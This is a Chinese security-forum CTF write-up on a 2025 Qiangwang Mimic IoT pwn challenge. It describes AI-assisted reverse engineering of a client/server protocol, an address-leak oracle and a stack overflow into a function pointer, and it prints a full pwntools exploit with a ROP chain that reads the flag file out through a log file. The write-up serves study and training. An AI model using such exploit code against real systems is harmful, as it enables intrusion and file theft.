首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
1
9
[原创]利用AI复现2025强网拟态初赛2解IoT题目:Poor communication protocol
发表于: 2025-11-2 02:53
13266
[原创]利用AI复现2025强网拟态初赛2解IoT题目:Poor communication protocol
Th3S
1
2025-11-2 02:53
13266
本文进行一次利用 AI 从一点没看到独立复现 2 解题目的尝试,这里分享一下思路。题目本身的主要难度在逆向层面,需要分析每一个指令的参数和功能,并能找到指令中的漏洞 ## 功能分析 ### 基本信息 拿到题目之后看一下基本信息,docker 里在后台运行了 bin/server 程序,然后 xinetd 监听 8888 端口,启动 bin/client 程序。我们需要使用 nc 和 client 交互,client 再和 server 交互。 ```text . ├── bin │ ├── client │ └── server ├── ctf.xinetd ├── docker-compose.yml ├── dockerfile └── start.sh ``` 先 nc 上去看一下,这里是提前看了下字符串随便试了试,看起来像是从 client 向 server 发送 cmd 指令  经过几轮对话,让 AI 分析 client/server 的逻辑,基本功能就比较清晰了   - server:接收到数据包后通过使用 handle_client_protocol 函数解析,具体 CMD 使用 dispatch_command_handler 处理,根据 CMD ID 进入不同的逻辑  - client:封装用户指令成数据包后和 server 交互  ### CMD ID 表格 接下来我们去分析每一个 CMD 对应的 ID,不过 AI 一开始并没有给出ID,我们需要人工干预一下。  继续让 AI 整理一下这两张表就有 | 命令名称 | 命令 ID | 功能描述 | 参数说明 | 数据包格式 | | -------------- | ----- | ------------ | ------------------------------- | ------------------------------------- | | help | - | 显示帮助信息 | 无参数 | 无 | | hello | 1 | 发送 hello 消息 | [client_name](可选,默认为"client") | [client_name] | | register | 16 | 注册操作(字符串方式) | <string_data> | [4B 长度][数据] | | register_hex | 16 | 注册操作(十六进制方式) | <hex_string> | [4B 长度][数据] | | list | 22 | 列出所有项目 | 无参数 | 无 | | partial_delete | 19 | 部分删除操作 | <id1> <id2> | [4B id1][4B id2] | | show | 20 | 显示指定项目 | <id> | [4B id] | | update | 17 | 更新操作 | <id1> <id2> <hex_string> | [4B id1][4B id2][4B 长度][数据] | | exec | 18 | 执行命令 | <id> <param> <string> | [4B id][2B param][4B 长度][数据] | | exechex | 18 | 执行命令(十六进制参数) | <id> <param> <hex_string> | [4B id][2B param][4B 长度][数据] | | execf | 18 | 执行命令(带指针参数) | <id> <param> [ptr_hex] | [4B id][2B param][4B 长度][数据] | | oracle_unlock | - | Oracle 解锁功能 | 无参数 | 无 | | oracle_guess | 18 | Oracle 猜测字节 | <pid> <idx> <0x00..0xff> | [4B pid][2B 0x3733][4B 长度][payload] | | oracle_leak | 18 | Oracle 泄露字节 | <id> [size](默认 size=8) | [4B id][4B长度][数据] | | bye | 255 | 退出程序 | 无参数 | 无 | ### CMD 功能分析 CMD 的 ID 和参数格式都有了,接下来分析每个指令的详细功能 #### 指令功能 ##### CMD 1: hello 功能 : 初始化会话并生成会话密钥 - 从客户端数据中提取客户端名称 - 生成一个随机的会话密钥(generate_session_key) - 将会话密钥存储在 SessionManager 中 - 设置响应状态码为 2 - 返回 8 字节的会话密钥(大端序)和 "WELCOME" 字符串 - 输出会话密钥到 stdout(十六进制格式) 关键代码路径 : ```cpp session_key = generate_session_key(qword_FA40); *a8 = session_key; // 存储会话密钥 *a9 = session_key; srv->session_mgr->session_key = session_key; *a10 = 2; // 状态码 // 返回: [8字节会话密钥] + "WELCOME" ``` ##### CMD 16: register 功能 : 注册一个新的 Profile - 读取客户端发送的字符串数据(长度 ≥ 4 字节) - 验证数据长度是否充足 - 计算数据的 CRC 32 校验值 - 与固定值 0 x 13579 BDF 异或后比较校验和 - 如果校验通过,设置会话管理器的标志位 - 调用 create_profile 创建新的 Profile - 返回 "OK" + 4 字节的 Profile ID 关键验证逻辑 : ```cpp crc32_value = calculate_crc32(data, length); if ((session_mgr->session_key ^ 0x13579BDF) == crc32_value) { session_mgr->session_key |= 0x0100; // 设置标志位 profile_id = create_profile(session_mgr, data); } ``` 返回 : "OK" + [4 字节 Profile ID] ##### CMD 19: partial_delete 功能 : 删除指定 Profile 中的指定 Blob - 检查是否已经使用过此命令(只能使用一次) - 读取两个 4 字节参数: id 1(Profile ID) 和 id 2(Blob ID) - 查找对应的 Profile - 在 Profile 的 Blob 列表中查找指定的 Blob - 将 Blob 的第二个 vector 清空(通过设置 end = start) - 设置一个标志表示已删除 - 随机分配 0-2 个虚假的内存块(大小 8-71 字节)后立即释放 - 返回 "Delete done" 关键限制 : - LOBYTE(session_mgr->session_key) == 0 必须为真(只能调用一次) - 调用后设置 LOBYTE(session_mgr->session_key) = 1 可能的漏洞点 : Blob 的 end 指针被设置为 start,但内存未释放,可能导致 Use-After-Free ##### CMD 20: show 功能 : 显示指定 Profile 的所有 Blob 数据 - 读取 4 字节的 Profile ID - 查找对应的 Profile - 检查 Profile 是否被标记为已删除(\*(v 117 + 64) != 0) - 将所有 Blob 的数据拼接后返回 - 返回: "OK" + [4 字节总长度] + [所有 Blob 数据] 数据格式 : ``` "OK" + [4B length] + [blob1_data][blob2_data]... ``` ##### CMD 17: update 功能 : 更新或创建 Blob - 读取参数: id 1(Profile ID), id 2(Blob ID), data - 查找对应的 Profile 和 Blob - 如果 Blob 存在,更新其数据 - 如果 Blob 不存在且数量 < 64,创建新 Blob - 分配 0-2 个随机大小的内存块(8-71 字节)后立即释放 - 返回 "OK" + 原始的 id 1 和 id 2 Blob 数量限制 : 最多 64 个((v 152 - v 151) <= 0 x 3 F) ##### CMD 18: exec/exechex/execf 功能 : 执行操作或验证魔术字节 - 读取参数: id(4 B), param(2 B), data - 验证数据长度 - 如果 param == 0 x 1337 且会话已解锁: - 调用 verify_magic_bytes (Oracle 相关) - 否则调用 execute_operation - 返回 "OK: " 或 "ERR: " + 结果信息 特殊参数 0 x 1337: Oracle 解锁功能的入口 Oracle 相关 : ```cpp if (BYTE1(session_mgr->session_key) && param == 0x1337) { verify_magic_bytes(srv, id, &data, &result, session_key); } ``` ##### CMD 22: list 功能 : 列出所有 Profile ID - 遍历 SessionManager 中的 Profile 红黑树 - 收集所有 Profile 的 ID - 返回: [4 字节数量] + [ID 1][ID 2]...[IDn] 返回格式 : ``` [4B count] + [4B id1] + [4B id2] + ... + [4B idn] ``` ##### CMD 255 (a 2 == -1): bye 功能 : 断开连接 - 返回 "BYE" 字符串 - 设置状态码为 3,指示服务器关闭连接 #### Oracle 系列 在表格里看到了一些比较奇怪的指令,重点测试 oracle 和 exec 在执行这个 oracle 指令之前需要先 oracle_unlock 解锁功能,笔者发现 `oracle_leak idx 8` 可以泄露出基地址,这里的 idx 是通过 register 注册的索引  #### Exec 系列 测试的时候发现 exec 系列不知道怎么调用,继续让 AI 分析   这里因为不知道 param 和 op_type 是怎么传的,所以需要调试一下,在 0000000000005F6B 下断点,然后执行 `exechex 1 2 aabbccddeeff`  结合代码能看出来 op_type 是 data 部分的第一个字节,接着 4 字节是最后 payload 的长度   成功执行  ## 漏洞分析 在对话的过程中顺带帮我分析出来了一个栈溢出漏洞,还给出了栈布局  ```text High Address ┌─────────────────────────────────────────────────┐ │ │ │ Caller's Stack Frame │ │ │ ├─────────────────────────────────────────────────┤ <- rbp+0x10 │ Return Address (8 bytes) │ <- rbp+0x08 [TARGET!] ├─────────────────────────────────────────────────┤ │ Saved RBP (8 bytes) │ <- rbp+0x00 ├─────────────────────────────────────────────────┤ │ var_40: Stack Canary (8 bytes) │ <- rbp-0x40 ├─────────────────────────────────────────────────┤ │ var_50: v37 (int, 4 bytes) │ <- rbp-0x50 ├─────────────────────────────────────────────────┤ │ var_51: v36 (char, 1 byte) │ <- rbp-0x51 ├─────────────────────────────────────────────────┤ │ ...other local variables... │ ├─────────────────────────────────────────────────┤ │ var_148: v35 (function pointer, 8 bytes) │ <- rbp-0x148 ├─────────────────────────────────────────────────┤ │ │ │ dest[64]: Target Buffer │ <- rbp-0x188 │ ┌──────────────────────────────────┐ │ │ │ 64 bytes buffer │ │ │ │ (but we copy up to 312 bytes!) │ │ │ └──────────────────────────────────┘ │ ├─────────────────────────────────────────────────┤ │ src: __m128i (16 bytes) │ <- rbp-0x198 ├─────────────────────────────────────────────────┤ │ n: size_t (8 bytes) │ <- rbp-0x1A0 ├─────────────────────────────────────────────────┤ │ p_src: void* (8 bytes) │ <- rbp-0x1A8 ├─────────────────────────────────────────────────┤ │ ...more variables... │ └─────────────────────────────────────────────────┘ Low Address Distance calculations: - dest to saved rbp: 0x188 = 392 bytes - dest to return addr: 0x188 + 8 = 400 bytes - Overflow space: 312 - 64 = 248 bytes - Can overwrite: 248 bytes beyond dest[64] ``` 不过他认为可以修改返回地址,但这实际上是修改不到的,因为我们只能写入 0x140   指出这一点之后,AI 分析出来 v35 指针可以利用,也就是  测试之后发现成功控制了 call rax ```python payload = cyclic(0x140) data = p8(0x41) + p32(len(payload)) + payload run(f"exechex {idx} 2 {binascii.hexlify(data).decode()}") ```  ## 漏洞利用 在所有的指令功能都分析完之后,其实已经比较清晰了,先用 oracle 泄露地址,然后在利用 exec 的栈溢出漏洞。 AI 也给了攻击流程,和最终实现的 exp 已经没有太大差别了 ```text ┌─────────────────────────────────────────────────────┐ │ 攻击流程 │ └─────────────────────────────────────────────────────┘ 1. CMD_HELLO (0x01) ↓ 获取 session_key ↓ 2. CMD_REGISTER_PROFILE (0x10) ↓ 认证成功 (oracle_unlock) ↓ 3. oracle_guess (CMD_EXEC_OP param=0x1337) ↓ 暴力破解 magic_table[0..7] ↓ 4. oracle_leak (CMD_EXEC_OP) ↓ 泄露栈地址、堆地址、canary ↓ 5. CMD_EXEC_OP (param=0x42, op_code=0x41) ↓ 触发栈溢出 ↓ 6. ROP Chain执行 ↓ 获取Shell ``` 题目开了沙箱,禁用了 exec,由于我们无法直接和 server 交互,所以不能用常规的 orw 来读 flag  结合 client 程序在启动的时候会读取并输出 client.log 的文件内容,可以把 flag 内容写入到 client.log 文件,rop 执行之后,再启动一个终端 nc 就能拿到 flag  ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwnkit import * from pwnkit.osys.linux.ropbox import GadgetBox import binascii args = init_pwn_args() binary = ELF("./bin/server") args.info.binary = context.binary = binary args.info.target = {"host": args.host or "example.pwnme", "port": args.port or 9999} p = remote("127.0.0.1", 8888) def run(cmd): p.sendlineafter(b"> ", cmd) run(b"hello") run(b"oracle_unlock") run(b"register aaa") run(b"list") p.recvuntil(b"count=") num = int(p.recvline()) for i in range(num): idx = p.recvline().strip()[2:] idx = int(idx) log.info("latest idx: %d", idx) run(f"oracle_leak {idx} 8".encode()) p.recvuntil(b"addr=") text_leak = p.recvline().strip() text_leak = int(text_leak, 16) text_base = text_leak - 0x2e60 plog.address(text_leak=text_leak, text_base=text_base) gb = GadgetBox(binary) pop_rdi_ret = text_base + next(gb.search_gadget(["pop rdi", "ret"])) pop_rsi_r15_ret = text_base + next(gb.search_gadget(["pop rsi", "pop r15", "ret"])) add_edx_edi_ret = text_base + 0x2a94 # 0x0000000000002a94: add edx, edi; nop; ret; add_rsp_0xc0_ret = text_base + 0x2a84 # 0x0000000000002a84: add rsp, 0xc0; ret; open_addr = text_base + binary.plt["open"] read_addr = text_base + binary.plt["read"] write_addr = text_base + binary.plt["write"] """ open/read/write rop """ path_flag = text_base + 0xc000 + 0x10 path_log = path_flag + 15 buf = text_base + 0xc000 + 0x100 # read buf size = 0x100 payload = b"/home/ctf/flag\x00" payload += b"/home/ctf/client.log\x00" payload = payload.ljust(64, b"\x00") payload += p64(add_rsp_0xc0_ret) # int fs = open(path, O_RDONLY, NULL) payload += p64(pop_rdi_ret) + p64(path_flag) # rdi = "/path/to/flag" payload += p64(pop_rsi_r15_ret) + p64(0) + p64(0) # rsi = 0 == O_RDONLY payload += p64(open_addr) # int fs = open(path, O_RWONLY, NULL) payload += p64(pop_rdi_ret) + p64(path_log) # rdi = "/path/to/flag" payload += p64(pop_rsi_r15_ret) + p64(1) + p64(0) # rsi = 0 == O_RDONLY payload += p64(open_addr) # read(fs, buf, size) payload += p64(pop_rdi_ret) + p64(0x100) + p64(add_edx_edi_ret) # edx = 0x100 payload += p64(pop_rdi_ret) + p64(5) # rdi = fs payload += p64(pop_rsi_r15_ret) + p64(buf) + p64(0) # rsi = buf payload += p64(read_addr) # write(1, buf, size) payload += p64(pop_rdi_ret) + p64(6) # rdi = fs payload += p64(pop_rsi_r15_ret) + p64(buf) + p64(0) # rsi = buf payload += p64(write_addr) data = p8(0x41) + p32(len(payload)) + payload run(f"exechex {idx} 2 {binascii.hexlify(data).decode()}") p.interactive() p.close() ```  ## 总结 整个复现过程,基本上只有 rop 是自己写的,绝大部分的分析过程都是 AI 在做,人工主要是测功能和指导 AI 的分析方向。目前 AI 针对一些比较小的程序,分析效果还是不错的。
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于
2025-11-2 16:59 被Th3S编辑 ,原因: 更新
#漏洞机制
#溢出
#格式化
#题解集锦
上传的附件:
Poor communication protocol_470c0988c549468d801a348902afa8fa.zip
(40.64kb,13次下载)
收藏
・
1
点赞
・
9
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
为你点赞!
2026-7-16 07:38
seeeseee
+10
谢谢你的细致分析,受益匪浅!
2025-11-24 10:36
周bosh
+1
为你点赞!
2025-11-20 15:03
stonectf
+10
谢谢你的细致分析,受益匪浅!
2025-11-12 23:16
mb_hrcijvfm
感谢你的积极参与,期待更多精彩内容!
2025-11-4 06:50
马先越
+6
为你点赞!
2025-11-2 15:45
zer00ne
非常支持你的观点!
2025-11-2 15:43
winmt
+10
你的分享对大家帮助很大,非常感谢!
2025-11-2 13:03
flyyyy
感谢你的积极参与,期待更多精彩内容!
2025-11-2 11:11
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
winmt
雪 币:
4771
活跃值:
(11875)
能力值:
(RANK:438 )
在线值:
发帖
11
回帖
89
粉丝
400
关注
私信
winmt
9
2
楼
很有趣的分享!完全使用AI做出了一道逆向相对复杂的CTF PWN赛题。AI for Security已然是一种不可阻挡的趋势,在探究如何更好地使用AI辅助的过程中,也应当时刻保持独立思考。
可以将赛题附件上传至平台,方便其他师傅也尝试和体会一下,谢谢!
2025-11-2 13:19
2
啊你好哇123
雪 币:
722
能力值:
( LV1,RANK:0 )
在线值:
发帖
0
回帖
361
粉丝
0
关注
私信
啊你好哇123
3
楼
可以问下这个ai分析是怎么配置的吗
2025-11-9 23:39
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Th3S
1
4
发帖
2
回帖
50
RANK
关注
私信
他的文章
[原创]libcdb:pwntools中的LibcSearcher替代功能
11946
[原创]利用AI复现2025强网拟态初赛2解IoT题目:Poor communication protocol
13266
[原创]llama.cpp版本小于b4657时COPY_TENSOR越界写漏洞导致的RCE分析
2409
[原创]llama.cpp版本小于b3561时GET_TENSOR SET_TENSOR组合漏洞RCE分析
2428
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
谁下载
×
whale
wogao
mb_aboyxyzy
npc0vo
mb_zzzklvpa
mb_nurxuevr
mb_ualovugg
mb_ivmkoooh
mb_iijifarx
mb_kujsrqqv
mb_lthgjpwj
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部